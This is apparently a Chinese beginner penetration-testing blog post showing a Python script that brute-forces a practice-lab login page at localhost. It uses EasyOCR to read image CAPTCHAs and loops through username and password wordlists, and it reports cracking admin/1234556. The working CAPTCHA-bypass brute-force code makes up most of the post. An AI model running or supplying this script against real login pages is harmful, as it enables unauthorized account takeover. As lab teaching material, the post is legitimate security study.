渗透测试入门学习——使用python脚本自动识别图片验证码,OCR技术初体验

写在前面

由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中

所以本次识别验证码时需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时服务器为用户生成验证码,也省去了手动在python代码中手动输入cookie的步骤

安装OCR库(需要python3.9)

Github地址:https://github.com/JaidedAI/EasyOCR

python 复制代码
pip install easyocr

相关代码

python 复制代码
import requests
import easyocr


# 填入请求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"

bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = ["你的验证码不正确,请重新输入","您输入的用户名不存在","密码错误,请重新输入"] 
count = 0
# easyocr相关初始化设置识别英文字母或数字,不输出详细运行信息
reader = easyocr.Reader(['en'])
# 由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中
# 所以这里需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时为用户生成验证码
session = requests.session()

with open("./user.txt", 'r') as file_usr:
    with open("./pswd.txt", 'r') as file_pwd:
        while not bf_flag:
            first = file_usr.readline()
            if not first:
                break
            # 在内层循环之前,重置文件指针到文件开头实现遍历
            file_pwd.seek(0)
            while not bf_flag:
                second = file_pwd.readline()
                if not second:
                    break
                first = first.strip()
                second = second.strip()
                count += 1
                # 用会话对象向浏览器发请求并将验证码图片保存
                img = session.get(url = code_url).content
                with open('./code.jpg','wb') as code_file:
                    code_file.write(img)
                # 识别验证码内容
                try:
                    result = reader.readtext('./code.jpg')
                    # 取出识别结果
                    target_code = [text for (_, text, _) in result][0]
                except:
                    print("第"+ str(count) +"次尝试--失败:识别出现错误")
                if len(target_code) < 4:
                    print("第" + str(count) + "次尝试--验证码识别出错")
                    print(target_code)
                response = session.post(url = login_url,
                                        data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})
                print(response.text)
                check_flag = True
                for context in failure:
                    if context in response.text:
                        print("第"+ str(count) +"次尝试--失败:",first + " " + second)
                        check_flag = False
                        break;
                if check_flag:
                    print("第"+ str(count) +"次尝试--成功:",first + " " + second)
                    bf_flag = True;
                    break;

使用方式

进入靶场随意尝试

发现是用POST方式进行的请求,请求地址为/login.php需要将此地址填入脚本相应位置

右键验证码部分查看生成验证码的请求地址

复制链接进行尝试,刷新一次即可得到一个随机的验证码,需要将此地址填入脚本相应位置

运行脚本等待结果,由于OCR识别会有各种各样的问题,有时需要重复跑几遍才能得到想要的结果

可以看到账号为admin密码为1234556时没有产生报错信息,暴力破解成功

相关推荐
2301_801673012 小时前
8.19笔记
网络·安全
飞翔的佩奇3 小时前
【完整源码+数据集+部署教程】表盘指针检测系统源码和数据集:改进yolo11-CA-HSFPN
python·yolo·计算机视觉·数据集·yolo11·表盘指针检测
larance3 小时前
SQLAlchemy 的异步操作来批量保存对象列表
数据库·python
搏博4 小时前
基于Python3.10.6与jieba库的中文分词模型接口在Windows Server 2022上的实现与部署教程
windows·python·自然语言处理·flask·中文分词
lxmyzzs5 小时前
pyqt5无法显示opencv绘制文本和掩码信息
python·qt·opencv
萧鼎6 小时前
Python pyzmq 库详解:从入门到高性能分布式通信
开发语言·分布式·python
yujkss7 小时前
Python脚本每天爬取微博热搜-终版
开发语言·python
yzx9910137 小时前
小程序开发APP
开发语言·人工智能·python·yolo
飞翔的佩奇7 小时前
【完整源码+数据集+部署教程】二维码与查找模式检测系统源码和数据集:改进yolo11-CSwinTransformer
python·yolo·计算机视觉·数据集·yolo11·二维码与查找模式检测
大霞上仙7 小时前
实现自学习系统,输入excel文件,能学习后进行相应回答
python·学习·excel